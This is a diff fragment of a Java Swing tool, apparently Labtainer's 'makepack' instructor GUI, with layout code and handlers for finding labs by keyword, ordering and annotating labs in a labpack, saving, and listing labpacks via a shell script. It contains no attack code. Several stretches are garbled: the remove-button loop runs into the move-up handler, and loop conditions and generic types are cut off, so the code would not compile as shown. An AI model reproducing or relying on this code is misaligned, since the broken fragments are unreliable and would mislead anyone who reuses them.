jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel5Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel5Layout.createSequentialGroup() + .addComponent(labdescriptionPane) + .addContainerGap()) + .addGroup(jPanel5Layout.createSequentialGroup() + .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel5Layout.createSequentialGroup() + .addComponent(KeyPane) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)) + .addGroup(jPanel5Layout.createSequentialGroup() + .addComponent(FindButton, javax.swing.GroupLayout.PREFERRED_SIZE, 84, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(83, 83, 83))) + .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel5Layout.createSequentialGroup() + .addComponent(ClearButton, javax.swing.GroupLayout.PREFERRED_SIZE, 73, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 92, Short.MAX_VALUE)) + .addGroup(jPanel5Layout.createSequentialGroup() + .addComponent(LablistlPane) + .addGap(6, 6, 6)))))) + ); + jPanel5Layout.setVerticalGroup( + jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel5Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(LablistlPane, javax.swing.GroupLayout.DEFAULT_SIZE, 303, Short.MAX_VALUE) + .addComponent(KeyPane)) + .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel5Layout.createSequentialGroup() + .addGap(12, 12, 12) + .addComponent(FindButton)) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel5Layout.createSequentialGroup() + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ClearButton))) + .addGap(18, 18, 18) + .addComponent(labdescriptionPane, javax.swing.GroupLayout.DEFAULT_SIZE, 189, Short.MAX_VALUE) + .addGap(30, 30, 30)) + ); + + logo.setText("jLabel17"); + + jPanel9.setBorder(javax.swing.BorderFactory.createEtchedBorder()); + + SaveIcon.setFocusable(false); + SaveIcon.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + SaveIconActionPerformed(evt); + } + }); + + javax.swing.GroupLayout jPanel9Layout = new javax.swing.GroupLayout(jPanel9); + jPanel9.setLayout(jPanel9Layout); + jPanel9Layout.setHorizontalGroup( + jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel9Layout.createSequentialGroup() + .addComponent(SaveIcon, javax.swing.GroupLayout.PREFERRED_SIZE, 38, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 0, Short.MAX_VALUE)) + ); + jPanel9Layout.setVerticalGroup( + jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel9Layout.createSequentialGroup() + .addGap(0, 0, Short.MAX_VALUE) + .addComponent(SaveIcon, javax.swing.GroupLayout.PREFERRED_SIZE, 38, javax.swing.GroupLayout.PREFERRED_SIZE)) + ); + + jMenu1.setMnemonic('F'); + jMenu1.setText("File"); + jMenu1.setToolTipText(""); + + OpenButton.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_O, java.awt.event.InputEvent.CTRL_DOWN_MASK)); + OpenButton.setText("Open"); + OpenButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + OpenButtonActionPerformed(evt); + } + }); + jMenu1.add(OpenButton); + + NewButton.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_N, java.awt.event.InputEvent.CTRL_DOWN_MASK)); + NewButton.setText("New"); + NewButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + NewButtonActionPerformed(evt); + } + }); + jMenu1.add(NewButton); + + SaveButton.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_S, java.awt.event.InputEvent.CTRL_DOWN_MASK)); + SaveButton.setText("Save"); + SaveButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + SaveButtonActionPerformed(evt); + } + }); + jMenu1.add(SaveButton); + + QuitBUtton.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_Q, java.awt.event.InputEvent.CTRL_DOWN_MASK)); + QuitBUtton.setText("Quit"); + QuitBUtton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + QuitBUttonActionPerformed(evt); + } + }); + jMenu1.add(QuitBUtton); + + jMenuBar1.add(jMenu1); + + jMenu2.setMnemonic('E'); + jMenu2.setText("Edit"); + + Order_Description.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_D, java.awt.event.InputEvent.CTRL_DOWN_MASK)); + Order_Description.setText("Order & Description"); + Order_Description.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Order_DescriptionActionPerformed(evt); + } + }); + jMenu2.add(Order_Description); + + jMenuBar1.add(jMenu2); + + ViewButton.setMnemonic('V'); + ViewButton.setText("View"); + + list_labpacks.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_L, java.awt.event.InputEvent.CTRL_DOWN_MASK)); + list_labpacks.setText("labpacks"); + list_labpacks.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + list_labpacksActionPerformed(evt); + } + }); + ViewButton.add(list_labpacks); + + ChangeFont.setMnemonic('S'); + ChangeFont.setText("Font Size"); + + InreaseFont.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_EQUALS, java.awt.event.InputEvent.CTRL_DOWN_MASK)); + InreaseFont.setText("Increase"); + InreaseFont.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + InreaseFontActionPerformed(evt); + } + }); + ChangeFont.add(InreaseFont); + + DecreaseFont.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_MINUS, java.awt.event.InputEvent.CTRL_DOWN_MASK)); + DecreaseFont.setText("Decrease"); + DecreaseFont.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DecreaseFontActionPerformed(evt); + } + }); + ChangeFont.add(DecreaseFont); + + ViewButton.add(ChangeFont); + + jMenuBar1.add(ViewButton); + + setJMenuBar(jMenuBar1); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jPanel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(logo, javax.swing.GroupLayout.PREFERRED_SIZE, 220, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(32, 32, 32)) + .addComponent(jPanel9, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(jPanel9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(layout.createSequentialGroup() + .addGap(56, 56, 56) + .addComponent(logo) + .addContainerGap()) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(jPanel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addContainerGap()))) + ); + + pack(); + }// //GEN-END:initComponents + //when clicked it will call the refresh function to refresh labs + private void ClearButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ClearButtonActionPerformed + refresh(lab); + sorting(lablist); + description_box.setText("");//for the lab description textbox + }//GEN-LAST:event_ClearButtonActionPerformed + + private void RemoveButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RemoveButtonActionPerformed + //this is for the remove button that will remove any selcted lab elements from the labs_in_labpack list model; + java.util.List value = labs_in_labpack.getSelectedValuesList(); + + + for(int i=0; i 0){ + model.remove(itemIndex);// remove selected item from the list + model.add(itemIndex - 1, selectedItem);// add the item to a new position in the list + labs_in_labpack.setSelectedIndex(itemIndex - 1);// set selection to the new item + } + ChangeStatusButtonColor(); + }//GEN-LAST:event_Move_Up_ButtonActionPerformed +//move a lab in the labs in labpack model down in the order + private void Move_Down_ButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_Move_Down_ButtonActionPerformed + String selectedItem = labs_in_labpack.getSelectedValue();//get item value + int itemIndex = labs_in_labpack.getSelectedIndex();// get item index + javax.swing.DefaultListModel model = (javax.swing.DefaultListModel)labs_in_labpack.getModel();// get list model + + if(itemIndex < model.getSize() -1){ + model.remove(itemIndex);// remove selected item from the list + model.add(itemIndex + 1, selectedItem);// add the item to a new position in the list + labs_in_labpack.setSelectedIndex(itemIndex + 1);// set selection to the new item + } + ChangeStatusButtonColor(); + }//GEN-LAST:event_Move_Down_ButtonActionPerformed + + private void OpenButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_OpenButtonActionPerformed + + //refresh(labs); + + int returnVal = fileChooser.showOpenDialog(this); + if (returnVal == fileChooser.APPROVE_OPTION) { + java.io.File file = fileChooser.getSelectedFile(); + savepackname(file.getName()); + DoesOPEN(file); + } else { + //System.out.println("File access cancelled by user."); + ; + } + }//GEN-LAST:event_OpenButtonActionPerformed + //set dialog for new labpack to visible. + private void NewButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NewButtonActionPerformed + labpackinfo.setVisible(rootPaneCheckingEnabled); + labpackinfo.pack(); + }//GEN-LAST:event_NewButtonActionPerformed +//saves + private void SaveButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SaveButtonActionPerformed + this.saving(labpack_path);//this save is for saving labpacks changes to the actual + ChangeStatusButtonColor();//changes SaveIcon color to Gray since changes are saved + }//GEN-LAST:event_SaveButtonActionPerformed + + private void FindButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_FindButtonActionPerformed + //find a display labs with keywords that are selected. + java.util.List selectedlist = keywords.getSelectedValuesList(); + + lab.clear(); + + for(int i=0; i keywordslist = new ArrayList (); + keywordslist.clear(); + while (Freader.hasNextLine()) { + String line = Freader.nextLine().trim(); + keywordslist.add(line); + + } + + if (keywordslist.containsAll(selectedlist)){ + String labname = filelist.get(i).getParentFile().getParentFile().getName(); + //the keywords.txt parent is config, and config's parent is the name of the lab + lab.addElement(labname); + } + }catch (java.io.FileNotFoundException e) { + System.out.println("An error occurred."); + e.printStackTrace(); + } + + } + sorting(lablist); + + + + lablist.setModel(lab); + + + + + + lablist.revalidate(); + lablist.repaint(); + + + }//GEN-LAST:event_FindButtonActionPerformed +//This is for whenever you change the selection for the lablist model, the lab's description appears + private void lablistValueChanged(javax.swing.event.ListSelectionEvent evt) {//GEN-FIRST:event_lablistValueChanged + String word = lablist.getSelectedValue(); + //this is a debug: System.out.println("value change to: "+ word); + String labdir = System.getenv("LABTAINER_DIR"); + String path = labdir + java.io.File.separator + "labs" + java.io.File.separator + word +java.io.File.separator+ "config" + java.io.File.separator + "about.txt"; + java.io.File aboutpath = new java.io.File(path); + try{ + java.util.Scanner Freader = new java.util.Scanner(aboutpath); + while (Freader.hasNextLine()) { + String data = Freader.nextLine().trim(); + description_box.setText(data); + + + + } + }catch (java.io.FileNotFoundException e) { + // System.out.println("about.txt missing: " + path); + //e.printStackTrace(); + } + }//GEN-LAST:event_lablistValueChanged +//this is for whenever a lab in the the labs_in_labpack model is selected, it will display its notes in the textbox + private void labs_in_labpackValueChanged(javax.swing.event.ListSelectionEvent evt) {//GEN-FIRST:event_labs_in_labpackValueChanged + String lab = labs_in_labpack.getSelectedValue(); + String description = labnotes.get(lab); + notes_box.setText(description); + }//GEN-LAST:event_labs_in_labpackValueChanged + + private void lablistMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_lablistMouseClicked + javax.swing.JList list = (javax.swing.JList)evt.getSource(); + if (evt.getClickCount() == 2) { + int index = list.locationToIndex(evt.getPoint()); + String name = lablist.getModel().getElementAt(index); + //System.out.println("index: "+name); + if(labsadded.contains(name)==false) { + labsadded.addElement(name); + labnotes.put(name, ""); + } + ChangeStatusButtonColor();//this will changes the color of the SaveIcon button depending on changes + } + }//GEN-LAST:event_lablistMouseClicked +//creating a new labpack from a dialog, it will take the name, description and order but will not be saved if you don't click save. + private void CreateActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CreateActionPerformed + + labsadded.clear(); + labnotes.clear(); + String pack_name = TextName.getText(); + if (pack_name.length() !=0){ + labpack.put("name", pack_name); + + String des_name = TextDescription.getText(); + labpack.put("description", des_name); + + + String order_name = TextOrder.getText().toString(); + if (order_name.length() !=0){ + labpack.put("order", order_name); + } + if (order_name.length() ==0){ + labpack.remove("order"); + } + this.setTitle("makepack: "+pack_name); + labpackinfo.setVisible(false); + TextName.setText(""); + TextDescription.setText(""); + TextOrder.setText(""); + + saving("/tmp"); + + savepackname(labpack.get("name")+".labpack"); + } + else{ + TextName.setText(""); + TextDescription.setText(""); + TextOrder.setText(""); + labpack.clear(); + labpackinfo.setVisible(false); + this.setTitle("makepack"); + savepackname("empty");//this will just make sure that if you create a labpack with no name, and then leave, once you open the UI again it will show an empty labpack. + } + + //System.out.println(labpack.get("name")); + ChangeStatusButtonColor();//calls method for changing the SaveIcon buttons color depending on Something_Changed + }//GEN-LAST:event_CreateActionPerformed + + private void TextNameKeyTyped(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_TextNameKeyTyped + char c = evt.getKeyChar(); + if(c == ' '){ + evt.consume(); + } + }//GEN-LAST:event_TextNameKeyTyped + + private void TextOrderKeyTyped(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_TextOrderKeyTyped + char c = evt.getKeyChar(); + if(!Character.isDigit(c)){ + evt.consume(); + } + + }//GEN-LAST:event_TextOrderKeyTyped +//when you click on edit order & description make dialog visible and set textboxes for order and description + private void Order_DescriptionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_Order_DescriptionActionPerformed + TextOrder1.setText(labpack.get("order")); + TextDescription1.setText(labpack.get("description")); + order_and_description.setVisible(rootPaneCheckingEnabled); + order_and_description.pack(); + + + }//GEN-LAST:event_Order_DescriptionActionPerformed +//the save button action method is for saving changes made to description and order in the order and description dialog + private void save_OandDActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_save_OandDActionPerformed + String order = TextOrder1.getText(); + + if (order.length() != 0){ + labpack.put("order", order); + } + if (order.length() ==0){ + labpack.remove("order"); + } + String description = TextDescription1.getText(); + labpack.put("description", description); + order_and_description.setVisible(false); + ChangeStatusButtonColor(); + }//GEN-LAST:event_save_OandDActionPerformed +//this prevents user from typing letter in the order textbox that requires digits + private void TextOrder1KeyTyped(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_TextOrder1KeyTyped + char c = evt.getKeyChar(); + if(!Character.isDigit(c)){ + evt.consume(); + } + }//GEN-LAST:event_TextOrder1KeyTyped +//to view the list of labpacks click on view then labpacks + public void doCommand(String cmd){ + ProcessBuilder builder = new ProcessBuilder(); + builder.command("sh", "-c", cmd); + try{ + Process process = builder.start(); + StreamGobbler streamGobbler = new StreamGobbler(process.getInputStream(), System.out::println); + Executors.newSingleThreadExecutor().submit(streamGobbler); + int exitCode = process.waitFor(); + assert exitCode == 0; + } catch (IOException e){ + System.out.println(e); + } catch (InterruptedException ie){ + System.out.println(ie); + } + } + private void list_labpacksActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_list_labpacksActionPerformed + String labdir = System.getenv("LABTAINER_DIR"); + String instructor_path = labdir + java.io.File.separator + "scripts"+java.io.File.separator +"labtainer-instructor"; + String labpack_path = "bin" +java.io.File.separator +"makepack"; + //System.out.println(labpack_path); + try{ + ProcessBuilder pb = new ProcessBuilder(labpack_path); + pb.directory(new java.io.File(instructor_path)); + pb.redirectErrorStream(true); + Process process = pb.start(); + int waitfor = process.waitFor(); + BufferedReader reader = + new BufferedReader(new InputStreamReader(process.getInputStream())); + StringBuilder builder = new StringBuilder(); + String line = null; + while ( (line = reader.readLine()) != null) { + if(line.equals("usage: makepack [-h] [name]")){ + break; + + } else{ + builder.append(line); + + builder.append(System.getProperty("line.separator")); + } + } + String result = builder.toString(); + //System.out.println(result);//debug to see list of labpacks + labpacktextbox.setText(result); + } catch (IOException | InterruptedException ex) { + //System.out.println(ex); + + } + + listlabpacks.setVisible(rootPaneCheckingEnabled); + listlabpacks.pack(); + + + }//GEN-LAST:event_list_labpacksActionPerformed +//Increase font size from font size menue item + private void InreaseFontActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_InreaseFontActionPerformed + ((javax.swing.border.TitledBorder) KeyPane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.PLAIN,18)); + ((javax.swing.border.TitledBorder) LablistlPane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.PLAIN,18)); + ((javax.swing.border.TitledBorder) labdescriptionPane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.PLAIN,18)); + ((javax.swing.border.TitledBorder) labsPane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.PLAIN,18)); + ((javax.swing.border.TitledBorder) labnotePane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.PLAIN,18)); + keywords.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + lablist.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + labs_in_labpack.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + description_box.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + notes_box.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + jLabel1.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + jLabel2.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + jLabel3.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + + TextName.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + TextDescription.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + TextOrder.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + + jLabel5.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + jLabel6.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + + TextDescription1.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + TextOrder1.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + labpacktextbox.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,18)); + + FindButton.setFont(new java.awt.Font("Dialog",java.awt.Font.BOLD,12)); + ClearButton.setFont(new java.awt.Font("Dialog",java.awt.Font.BOLD,12)); + RemoveButton.setFont(new java.awt.Font("Dialog",java.awt.Font.BOLD,12)); + AddNoteButton.setFont(new java.awt.Font("Dialog",java.awt.Font.BOLD,12)); + Create.setFont(new java.awt.Font("Dialog",java.awt.Font.BOLD,12)); + save_OandD.setFont(new java.awt.Font("Dialog",java.awt.Font.BOLD,12)); + }//GEN-LAST:event_InreaseFontActionPerformed +//Decrease font size from font size menue item + private void DecreaseFontActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_DecreaseFontActionPerformed + ((javax.swing.border.TitledBorder) KeyPane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.BOLD,12)); + ((javax.swing.border.TitledBorder) LablistlPane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.BOLD,12)); + ((javax.swing.border.TitledBorder) labdescriptionPane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.BOLD,12)); + ((javax.swing.border.TitledBorder) labsPane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.BOLD,12)); + ((javax.swing.border.TitledBorder) labnotePane.getBorder()). + setTitleFont(new java.awt.Font("Arial", java.awt.Font.BOLD,12)); + keywords.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + lablist.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + labs_in_labpack.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + description_box.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + notes_box.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + jLabel1.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + jLabel2.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + jLabel3.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + + TextName.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + TextDescription.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + TextOrder.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + + jLabel5.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + jLabel6.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + + TextDescription1.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + TextOrder1.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + labpacktextbox.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,14)); + + FindButton.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + ClearButton.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + RemoveButton.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + AddNoteButton.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + Create.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + save_OandD.setFont(new java.awt.Font("Dialog",java.awt.Font.PLAIN,12)); + + }//GEN-LAST:event_DecreaseFontActionPerformed +//this is another way of adding labs to labpack, through pressing the Enter key + private void lablistKeyPressed(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_lablistKeyPressed + if(evt.getKeyCode() == java.awt.event.KeyEvent.VK_ENTER) + { + + String name = lablist.getSelectedValue(); + + if(labsadded.contains(name)==false) { + labsadded.addElement(name); + labnotes.put(name, ""); + } + ChangeStatusButtonColor(); + } + + }//GEN-LAST:event_lablistKeyPressed + + private void QuitBUttonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_QuitBUttonActionPerformed + this.dispatchEvent(new java.awt.event.WindowEvent(this, java.awt.event.WindowEvent.WINDOW_CLOSING)); + }//GEN-LAST:event_QuitBUttonActionPerformed + + private void labpackinfoKeyPressed(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_labpackinfoKeyPressed + int code = evt.getKeyCode(); + if (code== KeyEvent.VK_ESCAPE){ + System.out.print(code); + labpackinfo.setVisible(false); + } + }//GEN-LAST:event_labpackinfoKeyPressed +//this will close the make new labpack dialog when you hit the Esc key while focused on name + private void TextNameKeyPressed(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_TextNameKeyPressed + int code = evt.getKeyCode(); + if (code== KeyEvent.VK_ESCAPE){ + System.out.print(code); + labpackinfo.setVisible(false); + } + }//GEN-LAST:event_TextNameKeyPressed +//this will close the description and order dialog when you hit the Esc key while focused on description + private void TextDescription1KeyPressed(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_TextDescription1KeyPressed + int code = evt.getKeyCode(); + if (code== KeyEvent.VK_ESCAPE){ + System.out.print(code); + order_and_description.setVisible(false); + } + }//GEN-LAST:event_TextDescription1KeyPressed +//this will close the list of labpacks dialog when you his Esc + private void labpacktextboxKeyPressed(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_labpacktextboxKeyPressed + int code = evt.getKeyCode(); + if (code== KeyEvent.VK_ESCAPE){ + System.out.print(code); + listlabpacks.setVisible(false); + } + }//GEN-LAST:event_labpacktextboxKeyPressed + + private void SaveIconActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_SaveIconActionPerformed + if(SaveIcon.getBackground().equals(Color.white)){ + saving(labpack_path); + } + ChangeStatusButtonColor();//now the SaveIcon button will turn grey after saving changes + }//GEN-LAST:event_SaveIconActionPerformed + + /** + * @param args the command line arguments + */ + public static void main(String args[]) { + /* Set the Nimbus look and feel */ + // + /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. + * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html + */ + try { + for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + javax.swing.UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } catch (ClassNotFoundException ex) { + java.util.logging.Logger.getLogger(NewJFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (InstantiationException ex) { + java.util.logging.Logger.getLogger(NewJFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (IllegalAccessException ex) { + java.util.logging.Logger.getLogger(NewJFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (javax.swing.UnsupportedLookAndFeelException ex) { + java.util.logging.Logger.getLogger(NewJFrame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } + // + + /* Create and display the form */ + java.awt.EventQueue.invokeLater(new Runnable() { + public void run() { + new NewJFrame().setVisible(true); + } + }); + } + private static class StreamGobbler implements Runnable { + private InputStream inputStream; + private Consumer consumer; + + public StreamGobbler(InputStream inputStream, Consumer consumer) { + this.inputStream = inputStream; + this.consumer = consumer; + } + + @Override + public void run() { + new BufferedReader(new InputStreamReader(inputStream)).lines() + .forEach(consumer); + } + } + private javax.swing.DefaultListModel lab; + private javax.swing.DefaultListModel labslabel; + private javax.swing.DefaultListModel keys; + private javax.swing.DefaultListModel labsadded; + private javax.swing.JList JlabelList; + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton AddNoteButton; + private javax.swing.JMenu ChangeFont; + private javax.swing.JButton ClearButton; + private javax.swing.JButton Create; + private javax.swing.JMenuItem DecreaseFont; + private javax.swing.JButton FindButton; + private javax.swing.JMenuItem InreaseFont; + private javax.swing.JScrollPane KeyPane; + private javax.swing.JScrollPane LablistlPane; + private javax.swing.JButton Move_Down_Button; + private javax.swing.JButton Move_Up_Button; + private javax.swing.JMenuItem NewButton; + private javax.swing.JMenuItem OpenButton; + private javax.swing.JMenuItem Order_Description; + private javax.swing.JMenuItem QuitBUtton; + private javax.swing.JButton RemoveButton; + private javax.swing.JMenuItem SaveButton; + private javax.swing.JButton SaveIcon; + private javax.swing.JTextArea TextDescription; + private javax.swing.JTextArea TextDescription1; + private javax.swing.JTextField TextName; + private javax.swing.JTextField TextOrder; + private javax.swing.JTextField TextOrder1; + private javax.swing.JMenu ViewButton; + private javax.swing.JTextPane description_box; + private javax.swing.JFileChooser fileChooser; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel5; + private javax.swing.JLabel jLabel6; + private javax.swing.JMenu jMenu1; + private javax.swing.JMenu jMenu2; + private javax.swing.JMenuBar jMenuBar1; + private javax.swing.JPanel jPanel1; + private javax.swing.JPanel jPanel2; + private javax.swing.JPanel jPanel3; + private javax.swing.JPanel jPanel4; + private javax.swing.JPanel jPanel5; + private javax.swing.JPanel jPanel9; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JScrollPane jScrollPane2; + private javax.swing.JScrollPane jScrollPane3; + private javax.swing.JList keywords; + private javax.swing.JScrollPane labdescriptionPane; + private javax.swing.JList lablist; + private javax.swing.JScrollPane labnotePane; + private javax.swing.JDialog labpackinfo; + private javax.swing.JTextArea labpacktextbox; + private javax.swing.JScrollPane labsPane; + private javax.swing.JList labs_in_labpack; + private javax.swing.JMenuItem list_labpacks; + private javax.swing.JDialog listlabpacks; + private javax.swing.JLabel logo; + private javax.swing.JTextPane notes_box; + private 